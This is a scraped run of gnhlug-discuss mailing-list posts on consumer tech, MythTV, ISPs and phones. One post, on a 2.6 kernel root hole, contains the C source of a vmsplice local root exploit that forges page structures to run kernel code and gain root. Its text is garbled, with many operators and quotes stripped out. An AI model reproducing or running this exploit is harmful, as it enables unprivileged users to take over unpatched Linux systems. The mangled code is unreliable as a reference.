Re: Ethtool
Lastly, i you have a manage switch and have plugged in a recent version of XP or Vista, they have code that can detect the switch and upload Linux detection firmware onto the switch. That is why most of the laptops in my office are connected through another switch to prevent MS from hurting our Netgear switches :-) I'm curious about this, do you have any more details? ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: portable music players
Yes, I hope to buy a player on their supported list. Coincidentally, Paul Louden of Rockbox is interviewed on this week's FLOSS podcast on twit.tv. That might provide a bit of additional background, perhaps a little push to get you or others to try it: http://twit.tv/floss43 Strangely, their podcast is only available in MP3 format... Why do you say that's strange? Out of the 20 or so podcasts I listen to, only one is not sent in mp3 format, and that's sent in some apple format so that you get chapter ticks on your iPod when listening to it (it also changes the coverart for each section). That podcast (Quackcast) does offer MP3, but you have to go manually download it. Fact is, for better or worse, mp3s can be played by basically anything. If you want the widest audience the default is going to be mp3. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: portable music players
That's for streaming, not for podcasts. It is cool that they offer it in a bunch of different formats. On Mon, Oct 6, 2008 at 1:30 PM, John Abreau [EMAIL PROTECTED] wrote: WBUR.org has theirs in a bunch of formats including vorbis: http://www.wbur.org/listen/feed/ogg.m3u On Mon, Oct 6, 2008 at 9:08 AM, Travis Roy [EMAIL PROTECTED] wrote: Yes, I hope to buy a player on their supported list. Coincidentally, Paul Louden of Rockbox is interviewed on this week's FLOSS podcast on twit.tv. That might provide a bit of additional background, perhaps a little push to get you or others to try it: http://twit.tv/floss43 Strangely, their podcast is only available in MP3 format... Why do you say that's strange? Out of the 20 or so podcasts I listen to, only one is not sent in mp3 format, and that's sent in some apple format so that you get chapter ticks on your iPod when listening to it (it also changes the coverart for each section). That podcast (Quackcast) does offer MP3, but you have to go manually download it. Fact is, for better or worse, mp3s can be played by basically anything. If you want the widest audience the default is going to be mp3. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ -- John Abreau / Executive Director, Boston Linux Unix AIM abreauj / JABBER [EMAIL PROTECTED] / YAHOO abreauj / SKYPE zusa_it_mgr Email [EMAIL PROTECTED] / WWW http://www.abreau.net / PGP-Key-ID 0xD5C7B5D9 PGP-Key-Fingerprint 72 FB 39 4F 3C 3B D6 5B E0 C8 5A 6E F1 2C BE 99 -- Travis Roy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: portable music players
You could get an iPod and install RockBox on it. http://www.rockbox.org/ I played with it a few years ago and was actually impressed. I thought it was going to be a bit hackish but it wasn't. I did go back to the normal Apple firmware because I use iTunes and have purchased music that I can't play otherwise. Well, my wife bought music that I like. On Fri, Oct 3, 2008 at 9:49 AM, Jesse Lazar [EMAIL PROTECTED] wrote: Hey, Is ipod the way to go for portable music player within Linux. My understanding is that it can be done easily, however I am curious as to what others use... Yes, I am shopping for a portable player and have never owned one! Also, I am strictly interested in playing music, not so much videos or whatever else it is they do... I run Ubuntu and the default player is rhythmbox. By default this creates ogg files when I import a cd into my collection. I am sure that I could either install another player (or maybe configure this to create mpg files). I would try to stick with the ogg as my understanding is that it is FOSS. I am aware that other companies manufacture these players and my understanding is that some can play ogg files... What are others using? Are you happy with it, what are the shortcomings? Thanks ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ -- Travis Roy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: portable music players
Meizu M3 Music Card. Plays OGG, FLAC and a variety of other audio formats. Appears as USB storage, where audio files can be simply copied to. http://www.engadget.com/2007/04/02/meizus-m3-music-card-unboxed Have you used one of these? A former coworker got an iPod knockoff. It looked great, had some great features and seemed solid. Until after about a month. The headphone jack broke. He managed to open it up to take a look since it was useless anyway. The inside was substandard. Bad solder joints, crappy plastic. That's what ended up being the problem. The headphone jack wiggled lose on the inside and basically snapped off the board. I'd be careful. I like looking for deals to, but with something that gets banged up like portable music players do, it might be worth it to go name brand, or at least that's been around long enough to have a bunch of people use it. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: portable music players
On Fri, Oct 3, 2008 at 2:11 PM, Jarod Wilson [EMAIL PROTECTED] wrote: On Fri, 2008-10-03 at 13:32 -0400, Heidi A. Strohl wrote: I have an iPod nano, and I can't believe I fell for the iPod schtick again. In retrospect, I should have known: my fiancee has bought me a new iPod every year for the past four years. I have never had an Apple device that lasted more than 1 year before malfunctioning. In contrast, I've got two iPods, one four and a half years old (3rd-gen, greyscale, click-wheel), one three years old (first video model), and both continue to work flawlessly. As does my wife's three year old nano. My brother still has his first-generation 5GB iPod, and only recently replaced it due to long-since outgrowing the capacity (he got a 32GB iPod Touch). My wife's BW iPod (the one just before the photo) just died last year, and it still kinda works. My 5G video got wet and the battery shorted out, replaced the battery. Then I left my sunroof open and it got rained on, bought a new board and clickwheel on ebay and replaced those myself. No problems since. (I have a bad history with iPods and water). ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: portable music players
I simply haven't found (nor written) any decent software for playback and updating on the n810. Canola (http://openbossa.indt.org/canola/) doesn't fit the bill? I'm hopefully getting a n810 this Christmas. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Blackberry webpages
This is a bit off topic, but does anybody know of any programs or webpages that will let me test a website to see how it will look on a blackberry? I'm trying to get a webpage to view properly and not having a blackberry to test it on makes for slow going. -- Travis Roy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Skype and Asterisk
I used to use Broadvoice for my VoIP solution at home but I dumped it since I never used it. For some reason my cell coverage got worse and I needed service in a pinch so I signed up for Skype and just used the software. I was actually very impressed with the quality of the call. And it's cheap! On Fri, Sep 26, 2008 at 2:42 PM, Thomas Charron [EMAIL PROTECTED] wrote: Wow, I didn't see THIS one coming.. http://www.digium.com/en/mediacenter/viewpress/Digium-and-Skype-Collaborate-to-Bring-Skype-to-Business-Phone-Systems -- -- Thomas ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ -- Travis Roy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: VHS capture to MPEG?
This doesn't answer your question, but it's along the same thread an I thought it was funny: http://www.thinkgeek.com/electronics/video/a956/ On Fri, Jul 25, 2008 at 10:06 AM, Tom Buskey [EMAIL PROTECTED] wrote: I've got a number of VHS tapes I'd like to convert to MPEG2. I have a Pinnacle USB2 PRO (150e model). It has svideo, component and antenna inputs. It's got a remote and IR input. From what I've been reading, there is support in Linux for this thing. I have a VHS to hook up to it also. It came with some capture software that consumes all resources on a Celeron 1GHz with 2 GB RAM. I have a Pentium 4m (2GHz?) running Ubuntu Heron (8.10?). It can see the 150e. I don't want to do a MythTV setup just to capture 2-3 tapes. Any recommendations on software capturing? I know members have opinions :-) ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ -- Travis Roy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: mythtv and digital tv
To sum it up, comcrap customers are forced to pay to solve their technical problem. This would be true if you were using analog OTA channels, you still need a digital tuner. Anybody out there using a digital tuner card (pci) with mythtv or perhaps a fourth friggin box ? I know Kenta is using an HDHomeRun. That supports an ATSC and QAM tuner so you'll get OTA and digital cable cannels. I suppose I could chuck mythtv and use the motorola model P.O.S dvr with comcast. You can get TiVo on yhe Motorola set top box. That's what I have. It still has some quirks but I think it's worlds better than the Comcast DVR. * I work for Comcast ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: OpenMoko Freerunner
I saw some of the first videos of it and I was very unimpressed: http://www.vimeo.com/1366042?pg=embedsec=1366042 On Mon, Jul 21, 2008 at 12:43 PM, Neil Joseph Schelly [EMAIL PROTECTED] wrote: I just took delivery of my new OpenMoko Freerunner and thought I'd share. I'm really excited to play with it, but alas, I still have to complete my workday. -N ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ -- Travis Roy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: OpenMoko Freerunner
If you look at that link there is a link to Trainwreck 2.. He used the QT interface there.. Also not impressed. My old Zaurus, while not having phone function seemed much better and run much faster and smoother, and that was like 8 years ago. I'll admit that it's a neat toy but it has way to many issues. On Mon, Jul 21, 2008 at 1:10 PM, Neil Joseph Schelly [EMAIL PROTECTED] wrote: Yeah, the software that comes on it is pretty dated unfortunately, but flashing it seems pretty easy. It's not too polished yet, but I think there's a tremendous potential. To say the least, I'll need to play some later on and get the newer qt-based interface on it I think. -N On Monday 21 July 2008 12:59, Travis Roy wrote: I saw some of the first videos of it and I was very unimpressed: http://www.vimeo.com/1366042?pg=embedsec=1366042 On Mon, Jul 21, 2008 at 12:43 PM, Neil Joseph Schelly [EMAIL PROTECTED] wrote: I just took delivery of my new OpenMoko Freerunner and thought I'd share. I'm really excited to play with it, but alas, I still have to complete my workday. -N ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ -- Travis Roy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: OpenMoko Freerunner
At the time that I had the Zaurus there weren't many smartphones out there, and the ones that were were VERY expensive. I currently have a Treo and loved it and I stand by my comment that a phone with PDA is better. On Mon, Jul 21, 2008 at 3:58 PM, Ben Scott [EMAIL PROTECTED] wrote: On Mon, Jul 21, 2008 at 1:19 PM, Travis Roy [EMAIL PROTECTED] wrote: My old Zaurus, while not having phone function ... ^^^ You once gave me a fair bit of grief, in this very forum, because I stated I preferred a separate handheld computer and phone. You argued a device which combined phone and PDA would be much better, for the convenience of having both in one. I think that's the point here, too. :) (I'm just saying. They can have my 6-year-old, PalmOS-based, Clie PEG-TG50 when they pry it from my cold, dead hands.) -- Ben ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ -- Travis Roy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: [OT] - bad bad humor
It's already been fixed. I had to go to the history to find it. On Wed, Apr 30, 2008 at 3:15 PM, Star [EMAIL PROTECTED] wrote: http://en.wikipedia.org/wiki/Comparison_of_file_systems Go to the Feature Compairison... Note the last feature column. -- ~ * ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ -- Travis Roy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Comcast blocks port 25 incoming, yet again
I've found that Comcast service tends to be at different levels in each community. I've found my service to be very reliable with very few outages since it morphed into Comcast several years ago. I would prefer that they open up port 25, but that would tend to let in a lot more SPAM, so I just let it be. While FIOS is excellent, my bandwidth remains well above 3Mbps down. It did take me overnight to download Hardy Heron, but it appeared that the congestion was on the server side. The consumer level FiOS blocks you from running anything on port 25 and 80, at least that's what a friend of mine that has it says. You need to pay for business level to get those unblocked. He also has TV service as well and says it's not to bad, but that their DVR sucks. He has an HDTiVo with cable cards. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: comcast does it again Port 25
Unfortunately, that's not entirely true when a government grants a monopoly - they get to regulate it. And the government is us (plus friction). Oh, is the government screwing things up again? - how unexpected. You can get your internet connection from other ISPs. Be it another cable provider (Earthlink, I used this before switching back to Comcast), DSL (be it Verizion, or another provider like MV.Com that resells Verizion wires, but has their own IP space and their own networking rules) or even Dial-up or Sat (but you probably wouldn't want to host a server on either of those). Plus it's your local, as in very local, government. Call up your franchise agreement board. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Semi-Linux Question (XBMC, XBox modding)
I've been thinking about putting XBox Media Center on my old XBox for some time now. I've been doing some poking around and think a softmod would be best since I don't care about running trainers or even playing games on it at all. I was curious if anybody on the list has done this? I've been reading about some of the tools to do this mod. One that looked interesting was XBoxHDM. I saw on some of the forums that this lets you build an xbox drive from scratch. Can I use that on a spare drive I have and throw that in my XBox? I've read that the whole HD locking thing only has to do with saved games and other game related stuff I don't care much about. If you'd rather reply to me off list because you don't think this fits to well with the list, that's fine too. Thanks in advance. -- Travis Roy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: 2.6 kernel local-user root privilege hole
);
}
int main(int argc, char *argv[])
{
int pi[2];
size_t map_size;
char * map_addr;
struct ioveciov;
struct page * pages[5];
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
printf(---\n);
printf( Linux vmsplice Local Root Exploit\n);
printf( By qaaz\n);
printf(---\n);
if (!uid || !gid)
die([EMAIL PROTECTED], 0);
/*/
pages[0] = *(void **) (int[2]){0,PAGE_SIZE};
pages[1] = pages[0] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die(mmap, errno);
memset(map_addr, 0, map_size);
printf([+] mmap: 0x%lx .. 0x%lx\n, map_addr, map_addr + map_size);
printf([+] page: 0x%lx\n, pages[0]);
printf([+] page: 0x%lx\n, pages[1]);
pages[0]-flags= 1 PG_compound;
pages[0]-private = (unsigned long) pages[0];
pages[0]-count= 1;
pages[1]-lru.next = (long) kernel_code;
/*/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die(mmap, errno);
memset(map_addr, 0, map_size);
printf([+] mmap: 0x%lx .. 0x%lx\n, map_addr, map_addr + map_size);
printf([+] page: 0x%lx\n, pages[2]);
printf([+] page: 0x%lx\n, pages[3]);
pages[2]-flags= 1 PG_compound;
pages[2]-private = (unsigned long) pages[2];
pages[2]-count= 1;
pages[3]-lru.next = (long) kernel_code;
/*/
pages[4] = *(void **) (int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die(mmap, errno);
memset(map_addr, 0, map_size);
printf([+] mmap: 0x%lx .. 0x%lx\n, map_addr, map_addr + map_size);
printf([+] page: 0x%lx\n, pages[4]);
/*/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die(mmap, errno);
memset(map_addr, 0, map_size);
printf([+] mmap: 0x%lx .. 0x%lx\n, map_addr, map_addr + map_size);
/*/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) 0)
die(munmap, errno);
/*/
if (pipe(pi) 0) die(pipe, errno);
close(pi[0]);
iov.iov_base = map_addr;
iov.iov_len = ULONG_MAX;
signal(SIGPIPE, exit_code);
_vmsplice(pi[1], iov, 1, 0);
die(vmsplice, errno);
return 0;
}
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Re: Sun buys MySQL
http://kaj.arno.fi/Sun_014.jpg Shake and bake? http://www.webwombat.com.au/entertainment/movies/images/ferrell-int-2.jpg On Jan 16, 2008 12:39 PM, Thomas Charron [EMAIL PROTECTED] wrote: http://blogs.mysql.com/kaj/sun-acquires-mysql.html/ Comments? -- -- Thomas ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ -- Travis Roy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Cell phone recommendations
I'm thinking of upgrading my phone (currently with ATT) and am thinking of buying a Linux phone (if I can). About the only extra feature I am looking for is BT. I don't want GPS and could care less for internet on the phone, since I won't use that anyway. If the only extra feature you want is BT, why would you want a linux phone over say a normal phone just running the software from the phone manufacturer? Are you planning on hacking around with the phone or adding apps? iPhone is not an option. Why not? I haven't seen a hacked iPhone, but I have seen a hacked iPod touch. Once you get the ability to drop to a shell and add apps it's a very nice little device. -- Travis Roy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Cell phone recommendations
In addition to Dan's request, I am also thinking of upgrading in February. Currently my phone is a Treo650. I've been using a Palm for my PDA shortly after they first came out. The Nokia 810 seems to be a good fit, but I don't know that much about how it syncs with both Linux and Windows. The features I currently use are: phone, calendar, address book, memos, and tasks. The Nokia 810 uses Maemo. I may want to use it for email and net access on a trip I will be taking in April, but I can also take my laptop for that. Upgrading to a newer model PalmTreo (with Palm OS) is also a strong possibility. I had a Treo 700p for a while. I actually still have it but don't use it since dropping my data plan. I found it to work much better than my 650. It was faster, the data was MUCH faster being EVDO. I also found it to be much more stable. The Nokia 810 isn't a phone, so I don't think that would be a full replacement. I've seen the previous version of the device (the one with the little pop out camera) and I must say it's a very cool little toy. It runs linux so I can't imagine syncing would be much of an issue. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Website Development Question
I just googled javascript random image and got: http://www.javascript-page.com/ranimage.html I think that does what you're after. Actually, I tried that one. Worked great for one image, but when I tried to do two images on one page with different times that the image would switch (to give a semi-random effect), it fell apart and didn't work. None of the images cycled at all. -- Travis Roy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: VoIP -- PSTN provider recommendations
I used Broadvoice for about a year. They were great. We used their BYOD (Bring Your Own Device) service and you can use an asterisk box for that (I used a small little box HT-486). It's good to use to try out since it was only $11/month after taxes for about 60minutes outgoing and unlimited incoming calls a month. We dropped them because we just never used it. After 3 rings it would ring my cell and my wife and I just always used our cellphones. On Dec 6, 2007 6:57 PM, [EMAIL PROTECTED] wrote: Okay, folks... once again, it's time for one of those tell me your favorite... questions! I'm shopping for a new VoIP -- PSTN service provider (so I can place and receive telephone calls over the Internet). Does anyone have experience with good providers? Any providers (besides NuFone) I should steer clear of? Note: Providers which charge monthly fees go at the bottom of my list. I just don't talk that much. :) If I had a choice of paying a monthly fee for good-quality VoIP service or getting shoddy service with no monthly fee, nine times out of ten I'd take the latter. So, suggestions, anyone? ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ -- Travis Roy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: [OT] Robotics reasources
The US First website usually has some good stuff. It might be a bit specific to the current game, but still good info. http://www.usfirst.org/ http://forums.usfirst.org/ On Oct 17, 2007, at 7:23 AM, Lori Nagel wrote: Anyone know of good email lists / message forums / groups for robotics hobbiests? I am always looking for more information on that. Dan Jenkins [EMAIL PROTECTED] wrote: On 10/16/07, Dan Jenkins wrote: A friend of mine has an old Roomba to give away to anyone who wants to play with it. The battery is old, but the rest works, as far as he can tell. He was hoping there was some one with a tech bent who might like it, before he trashes it. Man, that was fast! It was gone within minutes. Two people responded within the same minute. I flipped a coin and gave it to one of them. Sorry to everyone else. -- Dan Jenkins ([EMAIL PROTECTED]) Rastech Inc., Bedford, NH, USA --- 1-603-206-9951 *** Technical Support Excellence for over a Quarter Century ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ __ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Cell Phone question, maybe not linux specific?
What is the carrier? This is very important as Verizon likes to lock out a lot of the features you're looking to do. I was able to enable a lot of them on my wife's Razr but it required some hacking around on a windows box (since that's what the software ran on) On Sep 22, 2007, at 12:01 PM, Steven W. Orr wrote: I recently got a new Motorola Razr V3 Maxx and for the princely sum of $20 I added a 2G micro SD card. I took a few pictures and then saved myself a some change by not emailing the pictures out of the camera. i.e., I took the card out and mounted it as a disk on linux. Here's the directory structure of what was on the card: 700 find . -type d . ./my_flix ./motorola ./motorola/email ./motorola/mms ./motorola/certs ./motorola/certs/root ./motorola/certs/root/x509 ./motorola/certs/root/x509/ssl ./motorola/certs/root/x509/kjava ./motorola/test ./motorola/licenses ./motorola/shared ./motorola/shared/audio ./motorola/shared/video ./motorola/shared/picture ./motorola/shared/mixedmedia ./motorola/shared/ringtone ./motorola/temp ./motorola/temp/eopu ./motorola/eri ./motorola/browser ./motorola/browser/tmp ./motorola/browser/usr ./motorola/browser/usr/audio ./motorola/browser/usr/game ./motorola/browser/usr/screensaver ./motorola/browser/usr/picture ./motorola/browser/usr/skin ./motorola/browser/usr/misc ./motorola/browser/usr/ringtone ./motorola/browser/usr/java ./motorola/browser/usr/wallpaper ./motorola/partial ./my_pix ./my_sounds ./mobile ./mobile/skins ./my_music Next I thought it'd be cool to copy in some mp3 files onto the card. The phone didn't see them when I copied them into ./my_music Is there a directory structure I need to conform to? Is there some sort of prescribed setup? Can someone send me their setup that's working? Thanks. -- Time flies like the wind. Fruit flies like a banana. Stranger things have .0. happened but none stranger than this. Does your driver's license say Organ ..0 Donor?Black holes are where God divided by zero. Listen to me! We are all- 000 individuals! What if this weren't a hypothetical question? steveo at syslang.net ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Cell Phone question, maybe not linux specific?
=What is the carrier? I'm on Verizon too. I *really* hope you're not suggesting I can't load this thing up with music. I can get the pictures out. :-( I wouldn't be surprised if they force you to use their vcast thing to get/purchase music. Dale's razr supports custom ringtones and mp3s but without the hack I did she wouldn't be able to do that without getting them through Verizon's service. They really -REALLY- like to lock you out of the phone as much as possible it seems. = =This is very important as Verizon likes to lock out a lot of the features =you're looking to do. = =I was able to enable a lot of them on my wife's Razr but it required some =hacking around on a windows box (since that's what the software ran on) What SW do you have and what does it do? This website has the most/best information I could find: http://www.hacktherazr.com/ You don't have to load new firmware, just trick the software into thinking you have a phone from another carrier and then it will give you access to load stuff up where verizon doesn't want you to (but the phone does). = =On Sep 22, 2007, at 12:01 PM, Steven W. Orr wrote: = = I recently got a new Motorola Razr V3 Maxx and for the princely sum of $20 = I added a 2G micro SD card. I took a few pictures and then saved myself a = some change by not emailing the pictures out of the camera. i.e., I took = the card out and mounted it as a disk on linux. Here's the directory = structure of what was on the card: = = 700 find . -type d = . = ./my_flix = ./motorola = ./motorola/email = ./motorola/mms = ./motorola/certs = ./motorola/certs/root = ./motorola/certs/root/x509 = ./motorola/certs/root/x509/ssl = ./motorola/certs/root/x509/kjava = ./motorola/test = ./motorola/licenses = ./motorola/shared = ./motorola/shared/audio = ./motorola/shared/video = ./motorola/shared/picture = ./motorola/shared/mixedmedia = ./motorola/shared/ringtone = ./motorola/temp = ./motorola/temp/eopu = ./motorola/eri = ./motorola/browser = ./motorola/browser/tmp = ./motorola/browser/usr = ./motorola/browser/usr/audio = ./motorola/browser/usr/game = ./motorola/browser/usr/screensaver = ./motorola/browser/usr/picture = ./motorola/browser/usr/skin = ./motorola/browser/usr/misc = ./motorola/browser/usr/ringtone = ./motorola/browser/usr/java = ./motorola/browser/usr/wallpaper = ./motorola/partial = ./my_pix = ./my_sounds = ./mobile = ./mobile/skins = ./my_music = = Next I thought it'd be cool to copy in some mp3 files onto the card. The = phone didn't see them when I copied them into ./my_music = = Is there a directory structure I need to conform to? Is there some sort of = prescribed setup? Can someone send me their setup that's working? = = Thanks. = = -- = Time flies like the wind. Fruit flies like a banana. Stranger things have = .0. = happened but none stranger than this. Does your driver's license say Organ = ..0 = Donor?Black holes are where God divided by zero. Listen to me! We are all- = 000 = individuals! What if this weren't a hypothetical question? = steveo at syslang.net = ___ = gnhlug-discuss mailing list = gnhlug-discuss@mail.gnhlug.org = http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ = -- steveo at syslang dot net TMMP1 http://frambors.syslang.net/ Do you have neighbors who are not frambors? Steven W. Orr ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
MythTV playback issue
This might be a bit off topic but I thought I would give it a try.. So I downloaded a video from the Long Way Round website (www.longwayround.com). It plays fine on my mac if I use Quicktime, VLC, or Mplayer.. But when I play it on my Knoppmyth box with either mplayer or xine I get a green vertical bar in the middle of the video. Here's the specs of the video from the website: 752 x 416 pixels - 25fps - MPEG4 ISMA Container - MPEG4 AVC (H264) Video Codec - AAC Audio Codec -- Travis Roy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Success stories with MythTV and Schedule Direct?
You being cheap is not an excuse :) On Sep 3, 2007, at 9:20 PM, kenta wrote: On Mon, 3 Sep 2007, Ted Roche wrote: Just checking in to find out if anyone has switched their MythTV setups over to Schedules Direct [1]? (Schedules Direct is a non-profit What's kind of funny is that my myth box has gone from loved to poo: Me: Well I'm waiting for the pricing to get straigtened out before I sign up Girlfriend: So how am I going to record 'House'? Me: You can still program it like a VCR, just tell it to record that timeslot every week. Girlfriend: Well, when is it going to be fixed? Me: I have to pay money to fix it! You can just use it like a VCR Girlfiend: evil stare Hmm, yeah so I'll be signing up soon. Time to upgrade :) -Kenta ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: I've got to get organized.
On Aug 13, 2007, at 9:35 AM, Drew Van Zandt wrote: Google calendar. :-) Second for google calendar. If you want a way to sync it with whatever you use locally check this out: http://gcaldaemon.sourceforge.net/index.html I've been using it with Apple's iCal with great results. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Cleaning out the closet
I have the following items if anybody wants any. I live in Hillsborough and work in Maynard, MA. I go to Manchester frequently enough that I can arrange to transfer ownership there. Last I knew these things worked, but I really have no idea. Computer Stuff TNT (or TNT2 I'm not sure) AGP video card TEAC CD-540E CD-Rom drive LCD2041 Matrix Orbital display Netgear FA310TX NIC (2) DFE-530TX+ NIC Some random NIC, says Kalex 94V-0 on the back 3 port firewire card (siig.com) KVR-PC100/256 Ram PC100 128 meg Ram PCIIDE100R IDE Raid controller MS-6340 (N1996) Motherboard with processor, don't remember what the CPU is Intel Desktop Board CA810e with CPU, don't remember what the CPU is Soundblaster Live (CT4830) Other Stuff SPS-1204UL (wall outlet to 12v lighter adapter) V265 Cell Phone with wall charger LG VX6000 with two car chargers and data cable (works with bitpim) ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Cleaning out the closet
LCD2041 Matrix Orbital display Taken ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Stupid UDP NAT argument
